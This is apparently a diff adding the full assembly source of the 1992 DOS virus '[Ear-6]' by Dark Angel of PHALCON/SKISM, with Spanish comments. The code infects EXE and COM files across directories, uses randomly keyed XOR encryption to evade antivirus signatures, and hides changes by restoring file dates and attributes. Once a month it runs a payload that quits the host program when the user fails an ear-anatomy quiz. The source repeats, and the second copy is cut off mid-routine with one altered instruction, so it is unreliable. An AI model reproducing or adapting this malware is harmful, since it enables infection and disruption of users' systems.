; Los que sigue son en el mont¢n...
|
||||
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
||||
|
||||
diroriginal db 64 dup (?)
|
||||
tempo dw ?
|
||||
nuevoDTA db 43 dup (?)
|
||||
numinf db ?
|
||||
antes_del_tempstore:
|
||||
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
|
||||
; de otro programa
|
||||
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
|
||||
; a¤ada cinco para los pop,
|
||||
; los push, y el retn
|
||||
buffer db 1ah dup (?)
|
||||
f_atrib db ? ; atributo de la ficha
|
||||
f_hora dw ? ; hora de creaci¢n
|
||||
f_fecha dw ? ; fecha de creaci¢n
|
||||
f_long dd ? ; magnitud de la ficha
|
||||
|
||||
end Empezar
|
||||
|
||||
@@ -0,0 +1,476 @@
|
||||
; [Ear-6]
|
||||
|
||||
; El virus de oreja y o¡do seis
|
||||
; Fue escrito por Dark Angel de PHALCON/SKISM
|
||||
; Yo (el ngel oscuro) escrib¡ este programa hace muchas semanas.
|
||||
; No deba modificar este programa y da a otras personas COMO SI
|
||||
; estar el suyo.
|
||||
|
||||
; ¨D¢nde est mi llama, mama?
|
||||
|
||||
; diccionarito
|
||||
; espa¤ol ingl‚s magnitud size
|
||||
; abre open mango handle
|
||||
; aprueba pass (a test) m scara mask
|
||||
; atras back mensaje message
|
||||
; azado random mes month
|
||||
; busca find mont¢n heap
|
||||
; cierra close oreja, o¡do ear
|
||||
; cifra code, encrypt, decrypt pila stack
|
||||
; codo pointer pregunta question
|
||||
; corto terse, short primer first
|
||||
; empieza begin remendar patch
|
||||
; escriba write renuncia reject
|
||||
; espa¤ol ingl‚s respuesta answer
|
||||
; fecha date salta exit
|
||||
; ficha file siguiente following, next
|
||||
; ¡ndice table suspende fail (a test)
|
||||
; ¨le gusta? do you like? termina end
|
||||
; longitud length virus virus (!)
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
longitud_del_virus = TerminaVir - EmpezarVir
|
||||
longitud_del_escribir = offset termina_escribir - offset escribir
|
||||
|
||||
id = 'GH' ; Representa el l¡der de
|
||||
; PHALCON/SKISM, Garbageheap
|
||||
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
||||
|
||||
EmpezarVir:
|
||||
shwing:
|
||||
remendar1:
|
||||
mov bx, offset EmpezarCifra
|
||||
remendar2:
|
||||
mov cx, ((longitud_del_virus + 1) / 2)
|
||||
hacia_atras: ; atr s
|
||||
db 2eh
|
||||
remendar3:
|
||||
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
||||
add bx, 2
|
||||
loop hacia_atras
|
||||
EmpezarCifra:
|
||||
|
||||
call siguiente ; Es estupido, pero es corto
|
||||
siguiente:
|
||||
pop bp
|
||||
sub bp, offset siguiente
|
||||
|
||||
mov byte ptr [bp+numinf], 0
|
||||
|
||||
cld ; No es necessario, pero
|
||||
; ¨por qu‚ no?
|
||||
cmp sp, id
|
||||
jz SoyEXE
|
||||
SoyCOM: mov di, 100h
|
||||
push di
|
||||
lea si, [bp+Primer3]
|
||||
movsb
|
||||
jmp short SoyNada
|
||||
SoyEXE: push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
||||
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
jmp short SoyNada
|
||||
|
||||
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, por supuesto!
|
||||
NombreDelAutor db 'Dark Angel',0
|
||||
|
||||
SoyNada:
|
||||
movsw
|
||||
|
||||
mov ah, 1ah ; Esindicece un DTA nuevo
|
||||
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
||||
int 21h ; el DTA original
|
||||
|
||||
mov ax, word ptr [bp+remendar1+1]
|
||||
mov word ptr [bp+tempo], ax
|
||||
|
||||
mov ah, 47h ; Obtiene el directorio
|
||||
xor dl, dl ; presente
|
||||
lea si, [bp+diroriginal]
|
||||
int 21h
|
||||
|
||||
looper:
|
||||
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
|
||||
call infectar_mascara ; pero no es possible usar
|
||||
; acentos en MASM/TASM.
|
||||
; Qu‚ l stima!
|
||||
; mascara1 es '*.EXE',0
|
||||
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
||||
call infectar_mascara ; infecta las fichas de COM
|
||||
|
||||
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
|
||||
jg saltar ; Si es verdad, no necesita
|
||||
; busca m s fichas.
|
||||
mov ah, 3bh ; Cambia el directorio al
|
||||
lea dx, [bp+puntos] ; directorio anterior
|
||||
int 21h ; ('..', 'punto punto')
|
||||
jnc looper
|
||||
|
||||
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
||||
mov ah, 3bh ; directorio terminado.
|
||||
int 21h
|
||||
|
||||
mov ah, 2ah ; Activa el primer de
|
||||
int 21h ; cada mes
|
||||
cmp dl, 1 ; Si no es el primer,
|
||||
jnz saltarahora ; saltar ahora! (duh-o)
|
||||
|
||||
mov ah, 2ch ; ¨Qu‚ hora es?
|
||||
int 21h
|
||||
|
||||
cmp dl, 85 ; 85% probabilidad de
|
||||
jg saltarahora ; activaci¢n
|
||||
|
||||
and dx, 7 ; Un n£mero quasi-azado
|
||||
shl dl, 1 ; Usalo para determinar
|
||||
mov bx, bp ; que preguntar la virus
|
||||
add bx, dx
|
||||
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
|
||||
add dx, bp
|
||||
inc dx
|
||||
push dx ; Salva el codo al pregunta
|
||||
|
||||
mov ah, 9 ; Escriba el primer parte de
|
||||
lea dx, [bp+mensaje] ; la pregunta
|
||||
int 21h
|
||||
|
||||
pop dx ; Escriba el parte de la oreja
|
||||
int 21h ; o el o¡do
|
||||
dec dx
|
||||
push dx ; Salva la respuesta correcta
|
||||
|
||||
lea dx, [bp+secciones] ; Escriba los secciones de la
|
||||
int 21h ; oreja y el o¡do
|
||||
|
||||
trataotrarespuesta:
|
||||
mov ah, 7 ; Obtiene la respuesta de la
|
||||
int 21h ; "v¡ctima"
|
||||
cmp al, '1' ; Necesita una respuesta de
|
||||
jl trataotrarespuesta ; uno hasta tres
|
||||
cmp al, '3' ; Renuncia otras respuestas
|
||||
jg trataotrarespuesta
|
||||
|
||||
int 29h ; Escriba la respuesta
|
||||
|
||||
pop bx ; El codo al respuesta
|
||||
; correcta
|
||||
mov ah, 9 ; Prepara a escribir un
|
||||
; mensaje
|
||||
cmp al, byte ptr [bx] ; ¨Es correcta?
|
||||
jz saltarapidamente ; �l aprueba el examencito.
|
||||
; Pues, salta r pidamente.
|
||||
lea dx, [bp+suspendido] ; Lo siento, pero Ud. no
|
||||
int 21h ; aprueba el examencito f cil!
|
||||
|
||||
mov ah, 4ch ; Estudie m s y el programa
|
||||
jmp quite ; permitir a Ud a continuar.
|
||||
|
||||
saltarapidamente:
|
||||
lea dx, [bp+aprueba]
|
||||
int 21h
|
||||
saltarahora:
|
||||
mov ah, 1ah ; Restaura el DTA original
|
||||
mov dx, 80h
|
||||
quite:
|
||||
cmp sp, id - 4 ; ¨Es EXE o COM?
|
||||
jz vuelvaEXE
|
||||
vuelvaCOM:
|
||||
int 21h ; Restaura el DTA y vuelva
|
||||
retn ; a la ficha original de COM
|
||||
|
||||
vuelvaEXE:
|
||||
pop es
|
||||
pop ds ; ds -> PSP
|
||||
|
||||
int 21h
|
||||
|
||||
mov ax, es
|
||||
add ax, 10h ; Ajusta para el PSP
|
||||
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
||||
cli
|
||||
add ax, word ptr cs:[bp+PilaOriginal+2]
|
||||
mov ss, ax
|
||||
mov sp, word ptr cs:[bp+PilaOriginal]
|
||||
sti
|
||||
db 0eah ; JMP FAR PTR SEG:OFF
|
||||
EXE_Donde_JMP dd 0
|
||||
PilaOriginal dd 0
|
||||
|
||||
EXE_Donde_JMP2 dd 0
|
||||
PilaOriginal2 dd 0
|
||||
|
||||
infectar_mascara:
|
||||
mov ah, 4eh ; Busca la ficha primera
|
||||
mov cx, 7 ; Cada atributo
|
||||
brb_brb:
|
||||
int 21h
|
||||
jc hasta_la_vista_bebe ; No la busca
|
||||
|
||||
xor al, al
|
||||
call abrir ; Abre la ficha
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 1ah
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Cierra la ficha
|
||||
int 21h
|
||||
|
||||
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
||||
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
||||
mov cx, 9 ; creaci¢n
|
||||
rep movsb
|
||||
|
||||
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
|
||||
jz buscaEXE
|
||||
buscaCOM:
|
||||
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
|
||||
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
||||
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
|
||||
jnz infecta_mi_burro ; "infect my ass"
|
||||
jmp short BuscaMas
|
||||
buscaEXE:
|
||||
cmp word ptr [bp+buffer+10h], id
|
||||
jnz infecta_mi_burro
|
||||
BuscaMas:
|
||||
mov ah, 4fh ; Busca otra ficha...
|
||||
jmp short brb_brb
|
||||
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
|
||||
ret
|
||||
|
||||
infecta_mi_burro:
|
||||
; AX = longitud de la ficha infectada
|
||||
lea si, [bp+buffer]
|
||||
|
||||
cmp word ptr [si], 'ZM'
|
||||
jz InfectaEXE
|
||||
InfectaCOM:
|
||||
push ax
|
||||
|
||||
mov cx, word ptr [bp+tempo]
|
||||
mov word ptr [bp+remendar1+1], cx
|
||||
|
||||
lea di, [bp+Primer3]
|
||||
movsb
|
||||
push si
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+buffer], 0e9h
|
||||
pop di
|
||||
add ax, longitud_del_virus
|
||||
stosw
|
||||
|
||||
mov cx, 3
|
||||
jmp short TerminaInfeccion
|
||||
InfectaEXE:
|
||||
les ax, [si+14h] ; Salva el original empieza
|
||||
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
||||
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
||||
|
||||
les ax, [si+0Eh] ; Salva la original locaci¢n
|
||||
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
||||
mov word ptr [bp+PilaOriginal2+2], ax
|
||||
|
||||
mov ax, word ptr [si + 8]
|
||||
mov cl, 4
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset nuevoDTA+26]
|
||||
mov dx, es
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
||||
mov word ptr [si+16h], ax
|
||||
|
||||
mov cl, 4
|
||||
shr dx, cl
|
||||
add ax, dx
|
||||
mov word ptr [si+0Eh], ax ; y SS:SP
|
||||
mov word ptr [si+10h], id
|
||||
|
||||
pop dx ; Restaura el magnitud de
|
||||
pop ax ; la ficha
|
||||
|
||||
add ax, longitud_del_virus ; A¤ada el magnitud del virus
|
||||
adc dx, 0
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
||||
mov word ptr [si+2], ax
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax, word ptr [si+14h]
|
||||
sub ax, longitud_del_virus + offset Empezarvir
|
||||
push ax
|
||||
|
||||
mov cx, 1ah
|
||||
TerminaInfeccion:
|
||||
mov al, 2
|
||||
call abrir
|
||||
|
||||
mov ah, 40h
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah, 2ch ; N£meros azados en CX y DX
|
||||
int 21h
|
||||
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
|
||||
; cifra
|
||||
and cx, 31 ; Pone un n£mero azado para el
|
||||
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
||||
; eso, los scanners necesitan
|
||||
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
||||
lea di, [bp+tempstore]
|
||||
mov al, 53h ; push bx
|
||||
stosb ; (no destruir el mango de la
|
||||
; ficha)
|
||||
lea si, [bp+shwing] ; Copia las instrucciones
|
||||
push si ; para formar la cifra
|
||||
mov cx, longitud_de_la_cifra
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
mov al, 5bh ; pop bx
|
||||
stosb ; (recuerda mango de la ficha)
|
||||
|
||||
lea si, [bp+escribir] ; Copia las instrucciones
|
||||
mov cx, longitud_del_escribir ; para a¤ada el virus a la
|
||||
rep movsb ; ficha
|
||||
|
||||
mov al, 53h ; push bx
|
||||
stosb
|
||||
|
||||
pop cx ; Copia las instrucciones
|
||||
pop si ; para invalidar la cifra
|
||||
rep movsb
|
||||
mov ax, 0c35bh ; pop bx, retn
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
|
||||
; Codo del comienzo de la cifra
|
||||
add ax, offset EmpezarCifra + longitud_del_virus
|
||||
mov word ptr [bp+remendar1+1], ax
|
||||
|
||||
call antes_del_tempstore
|
||||
|
||||
mov ax, 5701h ; BX = mango de la ficha
|
||||
mov dx, word ptr [bp+f_fecha]
|
||||
mov cx, word ptr [bp+f_hora]
|
||||
int 21h ; Restaura fecha y hora
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
xor ch, ch
|
||||
mov cl, byte ptr [bp+f_atrib]
|
||||
mov ax, 4301h
|
||||
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+numinf]
|
||||
|
||||
jmp BuscaMas
|
||||
|
||||
Primer3 db 0CDh, 20h, 0
|
||||
puntos db '..',0
|
||||
mascara1 db '*.EXE',0
|
||||
mascara2 db '*.COM',0
|
||||
|
||||
abrir: mov ah, 3dh ; Abrir un ficha
|
||||
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
||||
int 21h ; el DTA
|
||||
xchg ax, bx
|
||||
ret
|
||||
|
||||
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
||||
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
||||
oreja1 db '1','Auditory Canal$'
|
||||
oreja2 db '1','Lobe$'
|
||||
oreja3 db '2','Anvil$'
|
||||
oreja4 db '2','Eustachian Tube$'
|
||||
oreja5 db '3','Auditory Nerve$'
|
||||
oreja6 db '3','Cochlea$'
|
||||
|
||||
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
||||
secciones db ' located?',13,10
|
||||
db ' 1. External Ear',13,10
|
||||
db ' 2. Middle Ear',13,10
|
||||
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
||||
|
||||
; No es bueno.
|
||||
suspendido db 13,10,'You obviously know nothing about ears.'
|
||||
db 13,10,'Try again after some study.',13,10,'$'
|
||||
|
||||
; Espero que s¡!
|
||||
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
||||
db '$'
|
||||
|
||||
escribir:
|
||||
mov ah, 40h
|
||||
mov cx, TerminaVir - EmpezarVir
|
||||
lea dx, [bp+EmpezarVir]
|
||||
int 21h
|
||||
termina_escribir:
|
||||
|
||||
backslash db '\'
|
||||
|
||||
TerminaVir = $
|
||||
|
||||
; Los que sigue son en el mont¢n...
|
||||
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
||||
|
||||
diroriginal db 64 dup (?)
|
||||
tempo dw ?
|
||||
nuevoDTA db 43 dup (?)
|
||||
numinf db ?
|
||||
antes_del_tempstore:
|
||||
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
|
||||
; de otro programa
|
||||
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
|
||||
; a¤ada cinco para los pop,
|
||||
; los push, y el retn
|
||||
buffer db 1ah dup (?)
|
||||
f_atrib db ? ; atributo de la ficha
|
||||
f_hora dw ? ; hora de creaci¢n
|
||||
f_fecha dw ? ; fecha de creaci¢n
|
||||
f_long dd ? ; magnitud de la ficha
|
||||
|
||||
end Empezar
|
||||
|
||||
@@ -0,0 +1,475 @@
|
||||
|
||||
; [Ear-6]
|
||||
|
||||
; El virus de oreja y o¡do seis
|
||||
; Fue escrito por Dark Angel de PHALCON/SKISM
|
||||
; Yo (el ngel oscuro) escrib¡ este programa hace muchas semanas.
|
||||
; No deba modificar este programa y da a otras personas COMO SI
|
||||
; estar el suyo.
|
||||
|
||||
; ¨D¢nde est mi llama, mama?
|
||||
|
||||
; diccionarito
|
||||
; espa¤ol ingl‚s magnitud size
|
||||
; abre open mango handle
|
||||
; aprueba pass (a test) m scara mask
|
||||
; atras back mensaje message
|
||||
; azado random mes month
|
||||
; busca find mont¢n heap
|
||||
; cierra close oreja, o¡do ear
|
||||
; cifra code, encrypt, decrypt pila stack
|
||||
; codo pointer pregunta question
|
||||
; corto terse, short primer first
|
||||
; empieza begin remendar patch
|
||||
; escriba write renuncia reject
|
||||
; espa¤ol ingl‚s respuesta answer
|
||||
; fecha date salta exit
|
||||
; ficha file siguiente following, next
|
||||
; ¡ndice table suspende fail (a test)
|
||||
; ¨le gusta? do you like? termina end
|
||||
; longitud length virus virus (!)
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
longitud_del_virus = TerminaVir - EmpezarVir
|
||||
longitud_del_escribir = offset termina_escribir - offset escribir
|
||||
|
||||
id = 'GH' ; Representa el l¡der de
|
||||
; PHALCON/SKISM, Garbageheap
|
||||
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
||||
|
||||
EmpezarVir:
|
||||
shwing:
|
||||
remendar1:
|
||||
mov bx, offset EmpezarCifra
|
||||
remendar2:
|
||||
mov cx, ((longitud_del_virus + 1) / 2)
|
||||
hacia_atras: ; atr s
|
||||
db 2eh
|
||||
remendar3:
|
||||
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
||||
add bx, 2
|
||||
loop hacia_atras
|
||||
EmpezarCifra:
|
||||
|
||||
call siguiente ; Es estupido, pero es corto
|
||||
siguiente:
|
||||
pop bp
|
||||
sub bp, offset siguiente
|
||||
|
||||
mov byte ptr [bp+numinf], 0
|
||||
|
||||
cld ; No es necessario, pero
|
||||
; ¨por qu‚ no?
|
||||
cmp sp, id
|
||||
jz SoyEXE
|
||||
SoyCOM: mov di, 100h
|
||||
push di
|
||||
lea si, [bp+Primer3]
|
||||
movsb
|
||||
jmp short SoyNada
|
||||
SoyEXE: push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
||||
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
jmp short SoyNada
|
||||
|
||||
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, por supuesto!
|
||||
NombreDelAutor db 'Dark Angel',0
|
||||
|
||||
SoyNada:
|
||||
movsw
|
||||
|
||||
mov ah, 1ah ; Esindicece un DTA nuevo
|
||||
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
||||
int 21h ; el DTA original
|
||||
|
||||
mov ax, word ptr [bp+remendar1+1]
|
||||
mov word ptr [bp+tempo], ax
|
||||
|
||||
mov ah, 47h ; Obtiene el directorio
|
||||
xor dl, dl ; presente
|
||||
lea si, [bp+diroriginal]
|
||||
int 21h
|
||||
|
||||
looper:
|
||||
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
|
||||
call infectar_mascara ; pero no es possible usar
|
||||
; acentos en MASM/TASM.
|
||||
; Qu‚ l stima!
|
||||
; mascara1 es '*.EXE',0
|
||||
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
||||
call infectar_mascara ; infecta las fichas de COM
|
||||
|
||||
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
|
||||
jg saltar ; Si es verdad, no necesita
|
||||
; busca m s fichas.
|
||||
mov ah, 3bh ; Cambia el directorio al
|
||||
lea dx, [bp+puntos] ; directorio anterior
|
||||
int 21h ; ('..', 'punto punto')
|
||||
jnc looper
|
||||
|
||||
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
||||
mov ah, 3bh ; directorio terminado.
|
||||
int 21h
|
||||
|
||||
mov ah, 2ah ; Activa el primer de
|
||||
int 21h ; cada mes
|
||||
cmp dl, 1 ; Si no es el primer,
|
||||
jnz saltarahora ; saltar ahora! (duh-o)
|
||||
|
||||
mov ah, 2ch ; ¨Qu‚ hora es?
|
||||
int 21h
|
||||
|
||||
cmp dl, 85 ; 85% probabilidad de
|
||||
jg saltarahora ; activaci¢n
|
||||
|
||||
and dx, 7 ; Un n£mero quasi-azado
|
||||
shl dl, 1 ; Usalo para determinar
|
||||
mov bx, bp ; que preguntar la virus
|
||||
add bx, dx
|
||||
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
|
||||
add dx, bp
|
||||
inc dx
|
||||
push dx ; Salva el codo al pregunta
|
||||
|
||||
mov ah, 9 ; Escriba el primer parte de
|
||||
lea dx, [bp+mensaje] ; la pregunta
|
||||
int 21h
|
||||
|
||||
pop dx ; Escriba el parte de la oreja
|
||||
int 21h ; o el o¡do
|
||||
dec dx
|
||||
push dx ; Salva la respuesta correcta
|
||||
|
||||
lea dx, [bp+secciones] ; Escriba los secciones de la
|
||||
int 21h ; oreja y el o¡do
|
||||
|
||||
trataotrarespuesta:
|
||||
mov ah, 7 ; Obtiene la respuesta de la
|
||||
int 21h ; "v¡ctima"
|
||||
cmp al, '1' ; Necesita una respuesta de
|
||||
jl trataotrarespuesta ; uno hasta tres
|
||||
cmp al, '3' ; Renuncia otras respuestas
|
||||
jg trataotrarespuesta
|
||||
|
||||
int 29h ; Escriba la respuesta
|
||||
|
||||
pop bx ; El codo al respuesta
|
||||
; correcta
|
||||
mov ah, 9 ; Prepara a escribir un
|
||||
; mensaje
|
||||
cmp al, byte ptr [bx] ; ¨Es correcta?
|
||||
jz saltarapidamente ; �l aprueba el examencito.
|
||||
; Pues, salta r pidamente.
|
||||
lea dx, [bp+suspendido] ; Lo siento, pero Ud. no
|
||||
int 21h ; aprueba el examencito f cil!
|
||||
|
||||
mov ah, 4ch ; Estudie m s y el programa
|
||||
jmp quite ; permitir a Ud a continuar.
|
||||
|
||||
saltarapidamente:
|
||||
lea dx, [bp+aprueba]
|
||||
int 21h
|
||||
saltarahora:
|
||||
mov ah, 1ah ; Restaura el DTA original
|
||||
mov dx, 80h
|
||||
quite:
|
||||
cmp sp, id - 4 ; ¨Es EXE o COM?
|
||||
jz vuelvaEXE
|
||||
vuelvaCOM:
|
||||
int 21h ; Restaura el DTA y vuelva
|
||||
retn ; a la ficha original de COM
|
||||
|
||||
vuelvaEXE:
|
||||
pop es
|
||||
pop ds ; ds -> PSP
|
||||
|
||||
int 21h
|
||||
|
||||
mov ax, es
|
||||
add ax, 10h ; Ajusta para el PSP
|
||||
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
||||
cli
|
||||
add ax, word ptr cs:[bp+PilaOriginal+2]
|
||||
mov ss, ax
|
||||
mov sp, word ptr cs:[bp+PilaOriginal]
|
||||
sti
|
||||
db 0eah ; JMP FAR PTR SEG:OFF
|
||||
EXE_Donde_JMP dd 0
|
||||
PilaOriginal dd 0
|
||||
|
||||
EXE_Donde_JMP2 dd 0
|
||||
PilaOriginal2 dd 0
|
||||
|
||||
infectar_mascara:
|
||||
mov ah, 4eh ; Busca la ficha primera
|
||||
mov cx, 7 ; Cada atributo
|
||||
brb_brb:
|
||||
int 21h
|
||||
jc hasta_la_vista_bebe ; No la busca
|
||||
|
||||
xor al, al
|
||||
call abrir ; Abre la ficha
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 1ah
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Cierra la ficha
|
||||
int 21h
|
||||
|
||||
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
||||
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
||||
mov cx, 9 ; creaci¢n
|
||||
rep movsb
|
||||
|
||||
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
|
||||
jz buscaEXE
|
||||
buscaCOM:
|
||||
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
|
||||
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
||||
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
|
||||
jnz infecta_mi_burro ; "infect my ass"
|
||||
jmp short BuscaMas
|
||||
buscaEXE:
|
||||
cmp word ptr [bp+buffer+10h], id
|
||||
jnz infecta_mi_burro
|
||||
BuscaMas:
|
||||
mov ah, 4fh ; Busca otra ficha...
|
||||
jmp short brb_brb
|
||||
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
|
||||
ret
|
||||
|
||||
infecta_mi_burro:
|
||||
; AX = longitud de la ficha infectada
|
||||
lea si, [bp+buffer]
|
||||
|
||||
cmp word ptr [si], 'ZM'
|
||||
jz InfectaEXE
|
||||
InfectaCOM:
|
||||
push ax
|
||||
|
||||
mov cx, word ptr [bp+tempo]
|
||||
mov word ptr [bp+remendar1+1], cx
|
||||
|
||||
lea di, [bp+Primer3]
|
||||
movsb
|
||||
push si
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+buffer], 0e9h
|
||||
pop di
|
||||
add ax, longitud_del_virus
|
||||
stosw
|
||||
|
||||
mov cx, 3
|
||||
jmp short TerminaInfeccion
|
||||
InfectaEXE:
|
||||
les ax, [si+14h] ; Salva el original empieza
|
||||
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
||||
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
||||
|
||||
les ax, [si+0Eh] ; Salva la original locaci¢n
|
||||
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
||||
mov word ptr [bp+PilaOriginal2+2], ax
|
||||
|
||||
mov ax, word ptr [si + 8]
|
||||
mov cl, 4
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset nuevoDTA+26]
|
||||
mov dx, es
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
||||
mov word ptr [si+16h], ax
|
||||
|
||||
mov cl, 4
|
||||
shr dx, cl
|
||||
add ax, dx
|
||||
mov word ptr [si+0Eh], ax ; y SS:SP
|
||||
mov word ptr [si+10h], id
|
||||
|
||||
pop dx ; Restaura el magnitud de
|
||||
pop ax ; la ficha
|
||||
|
||||
add ax, longitud_del_virus ; A¤ada el magnitud del virus
|
||||
adc dx, 0
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
||||
mov word ptr [si+2], ax
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax, word ptr [si+14h]
|
||||
sub ax, longitud_del_virus + offset Empezarvir
|
||||
push ax
|
||||
|
||||
mov cx, 1ah
|
||||
TerminaInfeccion:
|
||||
mov al, 2
|
||||
call abrir
|
||||
|
||||
mov ah, 40h
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah, 2ch ; N£meros azados en CX y DX
|
||||
int 21h
|
||||
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
|
||||
; cifra
|
||||
and cx, 31 ; Pone un n£mero azado para el
|
||||
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
||||
; eso, los scanners necesitan
|
||||
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
||||
lea di, [bp+longitud_del_escribir]
|
||||
mov al, 53h ; push bx
|
||||
stosb ; (no destruir el mango de la
|
||||
; ficha)
|
||||
lea si, [bp+shwing] ; Copia las instrucciones
|
||||
push si ; para formar la cifra
|
||||
mov cx, longitud_de_la_cifra
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
mov al, 5bh ; pop bx
|
||||
stosb ; (recuerda mango de la ficha)
|
||||
|
||||
lea si, [bp+escribir] ; Copia las instrucciones
|
||||
mov cx, longitud_del_escribir ; para a¤ada el virus a la
|
||||
rep movsb ; ficha
|
||||
|
||||
mov al, 53h ; push bx
|
||||
stosb
|
||||
|
||||
pop cx ; Copia las instrucciones
|
||||
pop si ; para invalidar la cifra
|
||||
